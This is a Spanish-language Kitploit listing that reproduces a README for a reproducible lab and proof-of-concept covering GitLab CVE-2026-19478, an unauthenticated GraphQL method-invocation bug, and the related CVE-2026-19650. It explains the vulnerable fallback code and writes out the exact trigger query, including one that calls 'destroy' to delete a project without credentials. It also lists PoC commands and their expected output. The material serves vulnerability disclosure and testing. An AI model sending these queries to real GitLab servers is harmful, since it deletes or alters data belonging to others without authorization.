Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
gitlab-cve-2026-19478-lab — Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Herramientas/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad WebPruebas de PenetraciónLabs y Práctica
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Ver Repositorio
81hace 6 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 — Invocación arbitraria de métodos sin autenticación mediante @gl_introduced de GitLab GraphQL (laboratorio de validación + PoC)

Laboratorio A/B reproducible y PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítico). Un atacante no autenticado puede invocar métodos Ruby arbitrarios de 0 argumentos sobre objetos de dominio resueltos por GraphQL — p. ej. llamar a Project#destroy para eliminar un proyecto público sin credenciales.

También incluye un PoC para el CVE-2026-19650 relacionado (intercambio de consultas multiplex de GraphQL) corregido en la misma versión.

Solo para pruebas de seguridad autorizadas / educación. Todo se ejecuta contra tus propios contenedores locales.


1. La vulnerabilidad

GitLab incluye una directiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidad hacia delante para despliegues continuos). Cuando una consulta nombra un campo con una versión más reciente que la del servidor en ejecución, un trazador (Gitlab::Graphql::VersionFilter::IntroducedTracer) lo elimina antes de la , de modo que la consulta se valida, y luego vuelve a ejecutar el documento en tiempo de ejecución y deja que los campos desconocidos se resuelvan mediante un respaldo.

Descargar herramienta
validación estática
original

El bug está en el respaldo (lib/gitlab/graphql/version_filter/future_field_fallback.rb, antes del parche):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Un GraphQL::Schema::Field sin resolver es resuelto por graphql-ruby llamando a object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb: la rama respond_to?(@method_sym) → public_send se ejecuta antes de que se consulte fallback_value, por lo que fallback_value: nil era código muerto). Por lo tanto, bajo @gl_introduced, el cliente elige un nombre de campo igual a cualquier método de 0 argumentos del objeto actualmente resuelto, y el servidor lo invoca.

Resuelve un proyecto público, solicita un «campo futuro» llamado destroy → el servidor ejecuta Project#destroy.

  • Impacto: modificación/eliminación no autenticada de proyectos públicos y datos de usuario (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Afectados: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Corregido: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — el respaldo ahora usa un Resolvers::NilResolver explícito que devuelve nil y nunca llama a un método.

Restricciones del desencadenante (aprendidas empíricamente)

  1. @gl_introduced(version:) debe ser mayor que la versión del servidor (usa 99.0.0).
  2. El nombre del campo es el nombre exacto del método, literal (snake_case tal como se define en Ruby, p. ej. to_param, destroy).
  3. La selección principal necesita ≥1 campo hermano real (p. ej. id); de lo contrario, el documento filtrado es un conjunto de selección vacío y GitLab devuelve un error de validación "Field must have selections".

2. Inicio rápido (laboratorio A/B: 19.2.2 vulnerable vs 19.2.4 parcheado)

Requisitos: Docker + docker compose, ~8 GB de RAM libre, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh muestra, por instancia: la URL base, la ruta del proyecto público sembrado (root/pub) y un PAT de administrador.


3. Ejecutar el PoC

3a. Detección (SEGURO, no destructivo — predeterminado)

Usa la primitiva de llamada a método con un método inofensivo (to_param). No se modifican datos.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Resultado esperado:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. en la instancia parcheada:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Demostrar el impacto destructivo (OPCIONAL — elimina un proyecto desechable que crea él mismo)

Crea su propio proyecto público desechable mediante la API REST (necesita el token de administrador de setup.sh), luego lo elimina a través del ataque GraphQL no autenticado y confirma que el proyecto ha desaparecido.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Resultado esperado (vulnerable):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

En la instancia parcheada, la misma ejecución informa que el proyecto sigue devolviendo 200 OK y que destroy es null.

3c. CVE-2026-19650 relacionado (intercambio de consultas multiplex) — SEGURO

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Probar contra tu propia instancia

Apunta --url a cualquier GitLab que estés autorizado a probar y --project a un proyecto público en él:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

La detección no es destructiva. No uses --prove-destroy contra nada que no sea tuyo.


5. Remediación

Actualiza a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o posterior. El parche enruta el respaldo a través de Resolvers::NilResolver (devuelve nil, nunca invoca un método del objeto). Si no puedes actualizar de inmediato, bloquea la directiva @gl_introduced / la ruta del filtro de versión en un proxy, o restringe el acceso GraphQL no autenticado.

6. Archivos

ArchivoPropósito
docker-compose.ymlInicia 19.2.2-ce vulnerable (:8222) + 19.2.4-ce parcheado (:8224)
setup.shEspera a que esté listo, siembra el proyecto público root/pub + token de administrador por instancia
poc_cve_2026_19478.pyDetección (segura) + prueba de impacto opcional --prove-destroy
poc_cve_2026_19650.pyDetección de intercambio de consultas multiplex (segura)

7. Notas de seguridad

  • Todo apunta a contenedores que tú ejecutas. El PoC predeterminado no es destructivo.
  • --prove-destroy crea y elimina su propio proyecto desechable; nunca toca root/pub ni tus datos.
  • Reportadores: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), vía GitLab HackerOne. La divulgación técnica pública estuvo embargada ~90 días después del parche; este laboratorio deriva el mecanismo de los commits públicos de corrección e283c6adeb3d (respaldo) y d2ea4b971a98 (intercambio multiplex).